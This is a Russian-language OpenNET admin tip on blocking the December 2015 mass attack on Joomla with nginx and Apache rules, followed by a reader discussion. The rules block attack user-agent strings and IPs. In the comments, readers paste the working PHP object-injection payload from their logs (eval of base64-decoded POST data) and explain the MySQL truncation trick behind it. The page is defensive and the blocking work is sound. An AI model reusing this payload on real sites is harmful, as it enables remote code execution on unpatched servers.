The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

Блокировка атаки на Joomla силами nginx и apache
Продолжается массовая атака на сайты под управлением Joomla. К сожалению на
базе данной CMS в сети много сайтов, администраторы которых не спешат
устанавливать обновления. На системах хостинга можно попытаться блокировать
типовую автоматизированную атаку централизованно, на стороне сервера.

Для блокировки можно заблокировать обращение c User Agent
"JDatabaseDriverMysql" и "O:", а также запретить обращение c IP-адресов, с
которых зафиксировано проведение атаки.

Пример для nginx:

   http {
       map $http_user_agent $blocked_ua {
           ~(?i)JDatabaseDriverMysql 1;
           ~(?i)O: 1;
           default 0;
       }
       map $remote_addr $blocked_ip {
          74.3.170.33 1;
          146.0.72.83 1;
          194.28.174.106 1;
          default 0;
       }
       server {
           listen 80;
           if ($blocked_ua) { return 403; }
           if ($blocked_ip) { return 403; }
           # ...
       }
   }


Пример для apache httpd:

   RewriteCond %{REMOTE_ADDR} =74.3.170.33 [OR]
   RewriteCond %{REMOTE_ADDR} =146.0.72.83 [OR]
   RewriteCond %{REMOTE_ADDR} =194.28.174.106
   RewriteRule .* / [F]

   RewriteCond %{HTTP_USER_AGENT} JDatabaseDriverMysql [OR]
   RewriteCond %{HTTP_USER_AGENT} O\:
   RewriteRule .* / [F]
 
16.12.2015 , Источник: https://www.nginx.com/blog/new-joom...
Ключи: joomla, block, atack, nginx, apache / Лицензия: CC-BY
Раздел:    Корень / Администратору / Сетевые сервисы / WWW, Apache httpd / Ограничение доступа и ресурсов, безопасность

Обсуждение [ Линейный режим | Показать все | RSS ]
  • 1.1, ааааа (?), 10:46, 16/12/2015 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    if ($http_user_agent ~* ".*\{.*")
    {
        return 403;
    }
     
  • 1.2, тигар (ok), 13:26, 16/12/2015 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    "отдавать" нужно 444, а не 403. ибо нефиг
     
  • 1.3, adsh (ok), 22:31, 16/12/2015 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    > Для блокировки можно заблокировать обращение c User Agent "JDatabaseDriverMysql" и "O:",
    > а также запретить обращение c IP-адресов, с которых зафиксировано проведение атаки.

    Какой-то наивный совет. Можно подумать, что User Agent фиксированный, а атаковать додумаются лишь с трёх адресов из всего интернет.

     
     
  • 2.4, Аноним (-), 23:26, 16/12/2015 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > Какой-то наивный совет. Можно подумать, что User Agent фиксированный, а атаковать додумаются
    > лишь с трёх адресов из всего интернет.

    Боты пока зафиксированы только с этих адресов, а маска в User Agent это часть кода для атаки. Целевые атаки не рассматриваются, так как защищают таким способом только никому уже не нужные протухшие сайты, интересные только ботам.

     

  • 1.5, ононимъ (?), 07:33, 17/12/2015 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    слушайте, а если в логах заход с таким UserAgent был - как проверить, установлен ли шелл или т.п. вредоносные мероприятия? патч сразу был поставлен, .htaccess поправлен, следующие попытки - 403, но 1-2-то пролезли...
     
     
  • 2.8, Slava (??), 13:37, 18/12/2015 [^] [^^] [^^^] [ответить]  
  • +/
    обновился вовремя, но присоеденюсь к вопросу
     
     
  • 3.9, Slava (??), 13:58, 18/12/2015 [^] [^^] [^^^] [ответить]  
  • +/
    строки в логе следующие:
    \x22JDatabaseDriverMysqli\x22:3:{s:2:\x22fc\x22;O:17:\x22JSimplepieFactory\x22:0:{}s:21:\x22\x5C0\x5C0\x5C0disconnectHandlers\x22;a:1:{i:0;a:2:{i:0;O:9:\x22SimplePie\x22:5:{s:8:\x22sanitize\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}s:8:\x22feed_url\x22;s:57:\x22eval(base64_decode($_POST[s]));JFactory::getConfig();exit\x22;s:19:\x22cache_name_function\x22;s:6:\x22assert\x22;s:5:\x22cache\x22;b:1;s:11:\x22cache_class\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}}i:1;s:4:\x22init\x22;}}s:13:\x22\x5C0\x5C0\x5C0connection\x22;b:1;}\xF0\xFD\xFD\xFD"
    и
    \x22JDatabaseDriverMysqli\x22:3:{s:2:\x22fc\x22;O:17:\x22JSimplepieFactory\x22:0:{}s:21:\x22\x5C0\x5C0\x5C0disconnectHandlers\x22;a:1:{i:0;a:2:{i:0;O:9:\x22SimplePie\x22:5:{s:8:\x22sanitize\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}s:8:\x22feed_url\x22;s:102:\x22eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST[s]))))));JFactory::getConfig();exit\x22;s:19:\x22cache_name_function\x22;s:6:\x22assert\x22;s:5:\x22cache\x22;b:1;s:11:\x22cache_class\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}}i:1;s:4:\x22init\x22;}}s:13:\x22\x5C0\x5C0\x5C0connection\x22;b:1;}\xF0\xFD\xFD\xFD"

    расшифруйте, кто знает

     

  • 1.6, Евгений (??), 10:43, 17/12/2015 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Фиксирую эпизоды атаки на сайты при помощи внедрения вышеописанного эксплоита в HTTP заголовок "x_forwarded_for".
     
  • 1.7, Slava (??), 13:33, 18/12/2015 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    ip адреса с которых идет атака разные
    46.45.183.142
    178.76.225.33
    112.184.95.6
    202.142.105.229
    91.214.84.166
    95.135.182.10
    93.168.108.29
    89.147.250.103
    105.227.191.131
    122.179.67.16
    весь интернет не заблокируешь
     
     
  • 2.10, pavlinux (ok), 19:38, 21/12/2015 [^] [^^] [^^^] [ответить]  
  • +/
    > весь интернет не заблокируешь

    ifconfig eth0 down;

     
     
  • 3.14, Аноним (-), 22:10, 24/12/2015 [^] [^^] [^^^] [ответить]  
  • +/
    # halt
     

  • 1.11, kleemhead (?), 22:54, 21/12/2015 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    >ifconfig eth0 down;

    Для параноидального режима

    iptables -P INPUT DROP

    poweroff

     
  • 1.12, kleemhead (?), 22:58, 21/12/2015 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    >ifconfig eth0 down;

    ifdown eth0

     
     
  • 2.15, pavlinux (ok), 02:08, 27/12/2015 [^] [^^] [^^^] [ответить]  
  • +/
    # ifdown eth0
    sh: ifdown: Command not found
     

  • 1.13, ононимъ (?), 08:49, 22/12/2015 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    а всё таки, гуру просветлённые с недюжинным ч.ю., есть ответ? в логах следы есть, файлов изменённых в папке сайта нет. куда ещё копать, где проверить?
     
     
  • 2.16, анонимь (?), 15:46, 29/12/2015 [^] [^^] [^^^] [ответить]  
  • +/
    Оналогично, дружище. Всё проверил, ничего не нашёл. Что делает эта строка, кто-нибудь может описать?
     
     
  • 3.17, ааааа (?), 20:02, 30/12/2015 [^] [^^] [^^^] [ответить]  
  • +/
    произвольный код исполняется... вебшеллы не залили, лишних пользователей в джумлу не добавили - уже хорошо...

    ====
    В коде обработчика сессий Joomla пристутствует уязвимость, которая позволяет осуществить внедрение строки в синтаксис сериализованной сессии через HTTP-заголовки User-Agent и X-Forwarded-For. Эксплоит использует особенность MySQL при обработке utf8-символов из диапазона U+010000 — U+10FFFF. При вставке строки, в конце которой присутствует такой символ, MySQL обрежет данные. Это позволяет сформировать и записать в таблицу сессий строку, в которой присутствуют пользовательские PHP-объекты, без нарушения синтаксиса. В ходе десериализации сессии атакующего вызываются деструкторы классов Joomla, что ведет к выполнению произвольного кода​
    ====

     

     Добавить комментарий
    Имя:
    E-Mail:
    Заголовок:
    Текст:




    Партнёры:
    PostgresPro
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2024 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру